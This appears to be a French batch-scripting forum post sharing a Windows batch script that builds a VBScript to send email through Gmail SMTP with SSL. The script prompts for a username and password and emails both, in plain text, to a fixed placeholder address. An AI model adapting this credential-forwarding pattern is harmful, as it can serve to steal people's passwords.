Connexion
Qui est en ligne ?
Il y a en tout 2 utilisateurs en ligne :: 0 Enregistré, 0 Invisible et 2 Invités Aucun
Le record du nombre d'utilisateurs en ligne est de 76 le Ven 22 Nov 2024, 12:39
Sujets les plus vus
Derniers sujets
[BAT] Envoi par courriel avec l'authentification de Gmail et SSL
2 participants
Page 1 sur 1
[BAT] Envoi par courriel avec l'authentification de Gmail et SSL
- Code:
@echo off
title Batch Envia Email
::Script feito no Masbat v2.0
set /p user="Usuario>"
echo.
set /p senh="Senha>"
echo.
(
Echo Set objEmail = CreateObject("CDO.Message"^)
Echo Subjectline = ""
Echo messagebody = ""
Echo Subjectline = "Usuario e senha"
Echo Messagebody = ""
Echo With objEmail
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing"^) = 2
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver"^) = "smtp.gmail.com"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate"^) = 1
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername"^) = "Seuemail@gmail.com"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword"^) = "Sua senha aqui"
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport"^) = 465
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl"^) = true
Echo .Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout"^) = 60
Echo .Configuration.Fields.Update
Echo '.AddAttachment "C:\test.txt"
Echo 'objEmail.Textbody = "Server1 is no longer accessible over the network."
Echo 'objEmail.HTMLBody = "<font face=arial color=blue>Server1 is no longer accessible over the network.</font>
Echo 'objEmail.CreateMHTMLBody "http://www.google.com.fr/"
Echo 'objEmail.CreateMHTMLBody "file://c|/test.htm"
Echo End With
Echo '*** fim do SMTP remoto seção de configuração do servidor ***
Echo WScript.Echo "enviando e-mail..."
Echo With ObjEmail
Echo .From = "Seuemail@gmail.com"
Echo .To = "Parafulano@hotmail.com"
Echo .Subject = subjectline
Echo .HTMLBody = "<p><b>Usuario: %user% & Senha: %senh%</b></p>"
Echo End With
Echo 'On Error Resume Next
Echo objEmail.Send
Echo WScript.Echo ""
Echo WScript.Echo "Email enviado com sucesso."
Echo Set objEmail = Nothing
)>"%tmp%\SendEmail.vbs"
CScript %tmp%\SendEmail.vbs //nologo
Del %tmp%\SendEmail.vbs
pause
Hackoo- EQUIPE BBAT
- Mensagens : 135
Data de inscrição : 06/06/2013
Localização : Tunisie
Sujets similaires
» [Bat] Détection de clics avec Batbox
» Batch avec mot de passe ***
» [BAT] Batch avec onClosequery
» [developpez.com] Script avec PDF créator
» [BAT] SAVOIR SON AGE AVEC SA DATE DE NAISSANCE
» Batch avec mot de passe ***
» [BAT] Batch avec onClosequery
» [developpez.com] Script avec PDF créator
» [BAT] SAVOIR SON AGE AVEC SA DATE DE NAISSANCE
Page 1 sur 1
Permission de ce forum:
Vous ne pouvez pas répondre aux sujets dans ce forum
Ven 25 Déc 2015, 14:17 par Sachadee
» [devellopez] Formater une date en ligne Dos
Ven 31 Juil 2015, 10:40 par Dylan Gadacha
» Un super Tuto Batch de IniTScreen
Lun 08 Juin 2015, 12:16 par InitScreen
» Un code MATRIX sympa
Dim 12 Avr 2015, 14:27 par Sachadee
» [BAT/EXE] DresolChange changer la sesolution de l´écran
Mar 17 Mar 2015, 09:12 par Sachadee
» [EXE/bat] DpScript Código Delphi interpreter
Jeu 12 Mar 2015, 15:48 par Sachadee
» Externo SaveDlg com 2 kb
Dim 15 Fév 2015, 12:20 par Sachadee
» présentation
Dim 15 Fév 2015, 12:14 par Sachadee
» [developpez.com] Transcodage fichier vidéo si fichier déposé
Mar 03 Fév 2015, 01:02 par Sachadee